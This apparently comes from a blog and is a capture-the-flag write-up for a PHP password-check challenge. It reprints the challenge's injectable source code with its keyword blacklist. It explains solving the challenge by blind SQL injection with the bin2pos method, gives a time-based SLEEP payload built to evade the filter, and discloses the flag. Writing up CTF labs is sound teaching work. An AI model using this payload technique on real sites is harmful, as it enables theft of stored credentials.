==========================================
http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/
http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.phps
==========================================
Let's review the source code:
< ?phpby observing the source code, there are few points to indicate here:
session_start();$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);
function RandomString()
{
$filename = "smash.txt";
$f = fopen($filename, "r");
$len = filesize($filename);
$contents = fread($f, $len);
$randstring = '';
while( strlen($randstring)<30 ){
$t = $contents[rand(0, $len-1)];
if(ctype_lower($t)){
$randstring .= $t;
}
}
return $randstring;
}$max_times = 120;
if ($_SESSION['cnt'] > $max_times){
unset($_SESSION['cnt']);
}
if ( !isset($_SESSION['cnt'])){
$_SESSION['cnt']=0;
$_SESSION['password']=RandomString();
$query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
@mysql_query($query);
$query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
@mysql_query($query);
}$left_count = $max_times-$_SESSION['cnt'];$_SESSION['cnt']++;
if ( $_POST['password'] ){
if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
@mysql_close($link);
exit("Wrong access");
}
$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
$q = @mysql_query($query);
$res = @mysql_fetch_array($q);
if($res['ip']==$_SERVER['REMOTE_ADDR']){
@mysql_close($link);
exit("True");
}
else{
@mysql_close($link);
exit("False");
}
}
@mysql_close($link);? >
< head >
< link rel="stylesheet" type="text/css" href="black.css">
< / head >
< form method=post action=index.php >
< h1> < ?= $left_count ?> times left < /h1>
< div class="inset">
< p>
< label for="password">PASSWORD< /label>
< input type="password" name="password" id="password" >
< /p>
< /div>
< p class="p-container">
< span onclick=location.href="auth.php"> Auth < /span>
< input type="submit" value="Check">
< /p>
< /form>
1- this challenge will read file smash.txt and get randomly 30 lower case characters as password
2- 120 requests to challenge is allowed per 1 password. After that, it will reset and get new password
3 - Each IP is recored with random password
4 - $_POST['password'] is not filter correctly
5 - Result will be True or False only
Hence, to solve this challenge, blind sqli is needed. In this case, I use bin2pos method (https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-WP.pdf
According to this method and our situation (only lowercase char), there would be maximum 4 tries per character. Password of this challenge is 30 characters so we have 4*30 = 120 tries, just enough for guessing the password.
In addition, to reduce the number of requests, I take a look at smash.txt, and get a word frequency and sort it with the code:
def CharacterCount():and a result is
from string import ascii_lowercase # ascii_lowercase =='abcdefghijklmnopqrstuvwxyz'
with open('smash.txt') as f:
text=f.read().strip()
dic={}
for x in ascii_lowercase:
dic[x]=text.count(x)
return dic
import operator
x = CharacterCount()#count character
sorted_x = sorted(x.iteritems(), key=operator.itemgetter(1), reverse=True)#sort it
[('e', 2900), ('t', 2085), ('o', 1657), ('s', 1625), ('a', 1585), ('i', 1456), ('n', 1408), ('r', 1380), ('l', 1080), ('c', 878), ('h', 860), ('d', 856), ('x', 780), ('f', 779), ('m', 647), ('u', 622), ('b', 591), ('p', 575), ('g', 409), ('w', 381), ('y', 349), ('v', 305), ('k', 178), ('j', 26), ('z', 26), ('q', 10)]
That result show us a possibility of character appearance which help us in reducing the number of requests to server.
Since server response only True or False, I need another state to indicate results based on bin2pos method (that is 1, 0 or end of binary string). After few try, I decide to use Sleep function to indicate "end of binary string" state. Plus, because server wil check "-" character in POST, we can not use that minus character in our payload.
here is my payload:
payload = "' or 1337 = IF((@a :=mid(BIN(POSITION(mid(password," + str(k) + ",1) IN '" + prioritytable + "'))," + str(i) + ",1))!=space(0),@e := @a,@e := SLEEP(3)) or IF(@e =1,@e, 0) or '"where
- k is a position of character in password
- prioritytable is our prioriy table based on the possibility of character in smash.txt. It is etosainrlchdxfmubpgwyvkjzq
- i is a position of binary string resulted from converting position to binary. As mention above, We just need to let i run from 2 to 5 (this first position is always 1). If the response from server take more than 2 seconds, it will terminate checking of this character and start another one.
Congrats! the key is DontHeartMeBaby*$#@!
Great, Thanks !
ReplyDelete